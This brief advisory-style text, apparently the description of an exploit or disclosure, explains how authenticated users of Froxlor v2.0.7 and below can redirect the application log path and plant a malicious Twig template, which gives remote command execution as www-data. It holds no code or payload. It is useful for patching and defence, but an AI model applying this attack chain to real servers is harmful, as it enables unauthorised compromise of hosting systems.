          Froxlor v2.0.7 and below suffer from a bug that allows authenticated users to change the application logs path
          to any directory on the OS level which the user www-data can write without restrictions from the backend which
          leads to writing a malicious Twig template that the application will render. That will lead to achieving a
          remote command execution under the user www-data.
